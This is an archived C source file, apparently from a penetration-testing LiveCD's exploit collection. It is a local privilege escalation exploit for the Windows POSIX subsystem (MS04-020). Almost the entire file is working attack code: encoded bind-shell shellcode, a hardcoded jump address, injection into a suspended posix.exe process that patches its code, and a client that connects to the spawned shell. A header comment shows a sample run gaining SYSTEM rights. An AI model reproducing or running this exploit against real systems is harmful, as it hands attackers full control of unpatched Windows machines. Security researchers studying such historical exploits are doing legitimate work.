home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / microsoft / local / Posixexp.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  11KB  |  352 lines

  1. /* Microsoft Windows POSIX Subsystem Local Privilege Escalation Exploit (MS04-020)
  2. *
  3. * Tested on windows 2k sp4 CN,NT/XP/2003 NOT TESTED
  4. *
  5. * Posixexp.c By bkbll (bkbll cnhonker net,bkbll tom com) www cnhonker com
  6. *
  7. * 2004/07/16 
  8. *
  9. * thanks to eyas xfocus org
  10. *
  11. *
  12. C:\>whoami
  13. VITUALWIN2K\test
  14.  
  15. C:\>posixexp
  16. Microsoft Windows POSIX Subsystem Local Privilege Escalation Exploit(1
  17. By bkbll (bkbll#cnhonker.net,bkbll#tom.com) www.cnhonker.com
  18.  
  19. pax: illegal option--h
  20. Usage: pax -[cimopuvy] [-f archive] [-s replstr] [-t device] [pattern.
  21. pax -r [-cimopuvy] [-f archive] [-s replstr] [-t device] [patte
  22. pax -w [-adimuvy] [-b blocking] [-f archive] [-s replstr]
  23. [-t device] [-x format] [pathname...]
  24. pax -r -w [-ilmopuvy] [-s replstr] [pathname...] directory
  25.  
  26. For more information on pax syntax, see Command Reference
  27. Help in the Windows Help file.Remote addr:0x7ff90000
  28. Microsoft Windows 2000 [Version 5.00.2195]
  29. (C) .... 1985-2000 Microsoft Corp.
  30.  
  31. C:\WINNT\system32>whoami
  32. whoami
  33. NT AUTHORITY\SYSTEM
  34.  
  35. C:\WINNT\system32>exit
  36. [+] Connection closed in exit command.
  37.  
  38. C:\>
  39.  
  40. */
  41.  
  42. #include <stdlib.h>
  43. #include <Winsock2.h>
  44. #include <windows.h>
  45.  
  46. #pragma comment(lib,"ws2_32")
  47.  
  48. #define PATCHADDR 0x0100343D        //......posix.exe...
  49. #define MEMSIZE 0x350
  50. #define CODESIZE 50
  51. #define bind_port_offset 116
  52. #define RETADDR 0x796E9B53 //advapi32.dll jmp esp
  53. // [ebp-0x200] [saved ebp] [saved eip] 
  54. #define EIPLOCATION 0x200+4-12    //12."\DosDevices\"...
  55. #define CANWRITEADDR 0x7ffdf02c     //...+0x20...
  56. #define VERSION "1.0"
  57.  
  58. unsigned short bindport = 60000;
  59.  
  60. unsigned char jmpcode[]=
  61. "\x33\xC0"        //xor eax,eax
  62. "\x66\xB8\xc0\x01"    //mov ax,0x1ff
  63. "\x40"            //inc eax
  64. "\x2B\xE0"        //sub esp,eax
  65. "\xFF\xE4"        //jmp esp
  66. "\x00";            //\0 zero NULL 
  67.    
  68. unsigned char bind_shell[]=
  69. "\xeb\x10\x5b\x4b\x33\xc9\x66\xb9\x45\x01\x80\x34\x0b\xee\xe2\xfa"
  70. "\xeb\x05\xe8\xeb\xff\xff\xff"
  71. /* 302 bytes shellcode, xor with 0xee */
  72. "\x07\x12\xee\xee\xee\xb1\x8a\x4f\xde\xee\xee\xee\x65\xae\xe2\x65"
  73. "\x9e\xf2\x43\x65\x86\xe6\x65\x19\x84\xea\xb7\x06\x72\xee\xee\xee"
  74. "\x0c\x17\x86\xdd\xdc\xee\xee\x86\x99\x9d\xdc\xb1\xba\x11\xf8\x7b"
  75. "\x84\xe8\xb7\x06\x6a\xee\xee\xee\x0c\x17\x65\x2a\xdd\x27\xdd\x3c"
  76. "\x5f\xea\x19\x1f\xc5\x0c\x6f\x02\x7e\xef\xee\xee\x65\x22\xbf\x86"
  77. "\xec\xec\xee\xee\x11\xb8\xca\xdd\x27\xbf\x86\xec\xee\xee\xdb\x65"
  78. "\x02\xbf\xbf\xbf\xbf\x84\xef\x84\xec\x11\xb8\xfe\x7d\x84\xfe\xbb"
  79. "\xbd\x11\xb8\xfa\xbe\xbd\x11\xb8\xf6\x65\x12\x84\xe0\xb7\x45\x0c"
  80. "\x13\xbe\xbe\xbd\x11\xb8\xf2\x88\x29\xaa\xca\xc2\xef\xef\x45\x45"
  81. "\x45\x65\x3a\x86\x8d\x83\x8a\xee\x65\x02\xdd\x27\xbe\xb9\xbc\xbf"
  82. "\xbf\xbf\x84\xef\xbf\xbf\xbb\xbf\x11\xb8\xea\x84\x11\x11\xd9\x11"
  83. "\xb8\xe2\xbd\x11\xb8\xce\x11\xb8\xce\x11\xb8\xe6\xbf\xb8\x65\x9b"
  84. "\xd2\x65\x9a\xc0\x96\xed\x1b\xb8\x65\x98\xce\xed\x1b\xdd\x27\xa7"
  85. "\xaf\x43\xed\x2b\xdd\x35\xe1\x50\xfe\xd4\x38\x9a\xe6\x2f\x25\xe3"
  86. "\xed\x34\xae\x05\x1f\xd5\xf1\x9b\x09\xb0\x65\xb0\xca\xed\x33\x88"
  87. "\x65\xe2\xa5\x65\xb0\xf2\xed\x33\x65\xea\x65\xed\x2b\x45\xb0\xb7"
  88. "\x2d\x06\x11\x10\x11\x11\x60\xa0\xe0\x02\x9c\x10\x5d\xf8\x01\x20"
  89. "\x0e\x8e\x43\x37\xeb\x20\x37\xe7\x1b\x43\x4a\xf4\x9e\x29\x4a\x43"
  90. "\xc0\x07\x0b\xa7\x68\xa7\x09\x97\x28\x97\x25\x03\x12\xd5"
  91. ;
  92.  
  93. int readwrite(SOCKET fd);
  94. int client_connect(int sockfd,char* server,int port);
  95.  
  96. main()
  97. {
  98.    STARTUPINFO si;
  99.    PROCESS_INFORMATION pi;
  100.    LPVOID pdwCodeRemote;
  101.    unsigned int cbMemSize = MEMSIZE;
  102.    DWORD dwOldProtect,dwNumBytesXferred;
  103.    unsigned char buffer[MEMSIZE];
  104.    unsigned int buflen=0;
  105.    unsigned char textbuf[CODESIZE];
  106.    int i;
  107.    unsigned short lports;
  108.    char cmdarg[400];
  109.    char systemdir[MAX_PATH+1];
  110.    WSADATA    wsd;
  111.    SOCKET sockfd;
  112.    
  113.    printf("Microsoft Windows POSIX Subsystem Local Privilege Escalation Exploit(%s)\n",VERSION);
  114.    printf("By bkbll (bkbll#cnhonker.net,bkbll#tom.com) www.cnhonker.com\;n\n");
  115.    if (WSAStartup(MAKEWORD(2,2), &wsd) != 0)
  116.    {
  117.        printf("[-] WSAStartup error:%d\n", WSAGetLastError());
  118.        return -1;
  119.    }
  120.    
  121.    i = GetWindowsDirectory(systemdir,MAX_PATH);
  122.    systemdir[i]='\0';
  123.    _snprintf(cmdarg,sizeof(cmdarg)-1,"%s\\system32\\posix.exe /P %s\\system32\\pax.exe /C 
  124. pax -h",systemdir,systemdir);
  125.    //printf("cmdarg:%s\n",cmdarg);
  126.    //exit(0);
  127.    ZeroMemory(&si,sizeof(si));
  128.    si.cb = sizeof(si);
  129.    ZeroMemory( &pi,sizeof(pi));
  130.    //create process
  131.    //..psxss....
  132.    if(!CreateProcess(NULL, cmdarg, NULL, NULL, TRUE, 0, 0, 0, &si, &pi))
  133.    {
  134.     printf("CreateProcess1 failed:%d\n", GetLastError());
  135.     return 0;
  136.    }
  137.    WaitForSingleObject(pi.hProcess, INFINITE);
  138.    //.....
  139.    ZeroMemory(&si,sizeof(si));
  140.    si.cb = sizeof(si);
  141.    ZeroMemory( &pi,sizeof(pi));
  142.    if(!CreateProcess(NULL, cmdarg, NULL, NULL, TRUE,CREATE_SUSPENDED, 0, 0, &si, &pi))
  143.    {
  144.     printf("CreateProcess2 failed:%d\n", GetLastError());
  145.     return 0;
  146.    }
  147.    //alloc from remote process
  148.    pdwCodeRemote = (PDWORD)VirtualAllocEx(pi.hProcess, NULL, cbMemSize,MEM_COMMIT | 
  149.    MEM_TOP_DOWN,PAGE_EXECUTE_READWRITE);
  150.    if (pdwCodeRemote == NULL) 
  151.    {
  152.        TerminateProcess(pi.hProcess,0);
  153.        printf("VirtualAllocEx failed:%d\n",GetLastError());
  154.        return 0;
  155.    }
  156.    printf("Remote addr:0x%08x\n",pdwCodeRemote);
  157.    //we can write and execute
  158.    if(!VirtualProtectEx(pi.hProcess, pdwCodeRemote, cbMemSize,PAGE_EXECUTE_READWRITE, &dwOldProtect)) 
  159.    {
  160.        TerminateProcess(pi.hProcess,0);
  161.        printf("VirtualProtectEx failed:%d\n",GetLastError());
  162.        return 0;
  163.    }
  164.    //make shellcode    
  165.    lports = htons(bindport)^0xeeee;
  166.    memcpy(bind_shell+bind_port_offset,&lports,2);
  167.    
  168.    memset(buffer,'\x90',MEMSIZE);
  169.    //memset(buffer,'A',EIPLOCATION);
  170.    buffer[MEMSIZE-1] = '\0';
  171.    i=sizeof(bind_shell)-1;
  172.    if(i >= EIPLOCATION) 
  173.    {
  174.        printf("shellcode so large:%d,must < %d\n",i,MEMSIZE);
  175.        TerminateProcess(pi.hProcess,0);
  176.        return 0;
  177.    }
  178.    i=EIPLOCATION-i;
  179.    memcpy(buffer+i,bind_shell,sizeof(bind_shell)-1);
  180.    *(unsigned int*)(buffer+EIPLOCATION) = RETADDR; //..eip
  181.    *(unsigned int*)(buffer+EIPLOCATION+4) =CANWRITEADDR; //.......
  182.    memcpy(buffer+EIPLOCATION+12,jmpcode,sizeof(jmpcode)-1);
  183.    //write in to target
  184.    buflen=MEMSIZE;
  185.    if(!WriteProcessMemory(pi.hProcess,pdwCodeRemote,buffer,buflen,&dwNumBytesXferred)) 
  186.    {
  187.        TerminateProcess(pi.hProcess,0);
  188.        printf("WriteProcessMemory failed:%d\n",GetLastError());
  189.        return 0;
  190.    }
  191.    //modified the process .text
  192.    if(!VirtualProtectEx(pi.hProcess,(LPVOID)PATCHADDR,CODESIZE,PAGE_EXECUTE_READWRITE, &dwOldProtect)) 
  193.    {
  194.        TerminateProcess(pi.hProcess,0);
  195.        printf("VirtualProtectEx 0x08x failed:%d\n",PATCHADDR,GetLastError());
  196.        return 0;
  197.    }
  198.    //........
  199.    i = 0;
  200.    textbuf[i++]='\xbf';
  201.    textbuf[i++]=(DWORD)pdwCodeRemote & 0xff;    //mov edi,pdwCodeRemote
  202.    textbuf[i++]=((DWORD)pdwCodeRemote >> 8 ) & 0xff;
  203.    textbuf[i++]=((DWORD)pdwCodeRemote >> 16 ) & 0xff;
  204.    textbuf[i++]=((DWORD)pdwCodeRemote >> 24 ) & 0xff;
  205.    //......
  206.    textbuf[i++]='\xeb';
  207.    textbuf[i++]='\x09'; //jmp .+0b
  208.    //.....
  209.    if(!WriteProcessMemory(pi.hProcess,(LPVOID)PATCHADDR,textbuf,i,&dwNumBytesXferred)) 
  210.    {
  211.        TerminateProcess(pi.hProcess,0);
  212.        printf("WriteProcessMemory failed:%d\n",GetLastError());
  213.        return 0;
  214.    }
  215.    ResumeThread(pi.hThread);
  216.    Sleep(5);
  217.    sockfd=WSASocket(2,1,0,0,0,0);
  218.    if(sockfd == INVALID_SOCKET)
  219.    {
  220.        printf("[-] WSASocket error:%d\n", WSAGetLastError());
  221.        return -1;
  222.    }
  223.    if(client_connect(sockfd,"127.0.0.1",bindport) < 0)
  224.    {
  225.        closesocket(sockfd);
  226.        printf("[-] Maybe not success?\n");
  227.    }
  228.    readwrite(sockfd);
  229.    TerminateProcess(pi.hProcess,0);
  230.    WaitForSingleObject(pi.hProcess, INFINITE);
  231. }
  232.  
  233. int readwrite(SOCKET fd)
  234. {
  235.    fd_set fdr1;
  236.    unsigned char buffer[1024];
  237.    int istty,ct1,ct2;
  238.    struct timeval timer;
  239.  
  240.    memset(buffer,0,sizeof(buffer));
  241.    istty=_isatty(0);
  242.    timer.tv_sec=0;
  243.    timer.tv_usec=0;
  244.  
  245.    while(1)
  246.    {
  247.  
  248.        FD_ZERO(&fdr1);
  249.        FD_SET(fd,&fdr1);
  250.        ct1=select(0,&fdr1,NULL,NULL,&timer);
  251.        if(ct1==SOCKET_ERROR)
  252.        {
  253.            printf("[-] select error:%d\n",GetLastError());
  254.            break;
  255.        }
  256.        if(FD_ISSET(fd,&fdr1))
  257.        {
  258.            ct1=recv(fd,buffer,sizeof(buffer)-1,0);
  259.            if((ct1==SOCKET_ERROR) || (ct1==0))
  260.            {
  261.                printf("[-] target maybe close the socket.\n");
  262.                break;
  263.            }
  264.            if(_write(1,buffer,ct1)<=0)
  265.            {
  266.                printf("[-] write to stdout error:%d\n",GetLastError());
  267.                break;
  268.            }
  269.  
  270.            memset(buffer,0,sizeof(buffer));
  271.        }
  272.        if(istty)
  273.        {
  274.            if(_kbhit()) /* stdin can read */
  275.            {
  276.  
  277.  
  278.                ct1=read(0,buffer,sizeof(buffer)-1);
  279.                if(ct1 <= 0)
  280.                {
  281.                    printf("[-] read from stdin error:%d\n",GetLastError());
  282.                    break;
  283.                }
  284.                ct2=send(fd,buffer,ct1,0);
  285.                if((ct2==SOCKET_ERROR) || (ct2==0))
  286.                {
  287.                    printf("[-] target maybe close the socket.\n");
  288.                    break;
  289.                }
  290.                if( strnicmp(buffer, "exit", 4) == 0)
  291.                {
  292.                    printf("[+] Connection closed in exit command.\n");
  293.                    break;
  294.                }
  295.                memset(buffer,0,sizeof(buffer));
  296.            }
  297.        }
  298.        else
  299.        {
  300.            ct1=read(0,buffer,sizeof(buffer)-1);
  301.            if(ct1<=0)
  302.            {
  303.                printf("[-] read from nontty stdin error:%d\n",GetLastError());
  304.                break;
  305.            }
  306.            ct2=send(fd,buffer,ct1,0);
  307.            if((ct2==SOCKET_ERROR) || (ct2==0))
  308.            {
  309.                printf("[-] target maybe close the socket\n");
  310.                break;
  311.            }
  312.            if( strnicmp(buffer, "exit", 4) == 0)
  313.            {
  314.                printf("[+] Connection closed in exit command.\n");
  315.                break;
  316.            }
  317.            memset(buffer,0,sizeof(buffer));
  318.        }
  319.    }
  320.    return(1);
  321. }
  322.  
  323.  
  324. /* ....server .port */
  325. int client_connect(int sockfd,char* server,int port)
  326. {
  327.    struct sockaddr_in cliaddr;
  328.    struct hostent *host;
  329.    short port2;
  330.  
  331.    port2=port & 0xffff;
  332.  
  333.    if((host=gethostbyname(server))==NULL)
  334.    {
  335.        printf("gethostbyname(%s) error\n",server);
  336.        return(-1);
  337.    }
  338.  
  339.    memset(&cliaddr,0,sizeof(struct sockaddr));
  340.    cliaddr.sin_family=AF_INET;
  341.    cliaddr.sin_port=htons(port2);
  342.    cliaddr.sin_addr=*((struct in_addr *)host->h_addr);
  343.    if(connect(sockfd,(struct sockaddr *)&cliaddr,sizeof(struct sockaddr))<0)
  344.    {
  345.        printf("[-] Trying %s:%d error\n",server,port);
  346.        closesocket(sockfd);
  347.        return(-1);
  348.    }
  349.    //printf("ok\r\n");
  350.    return(0);
  351. }
  352.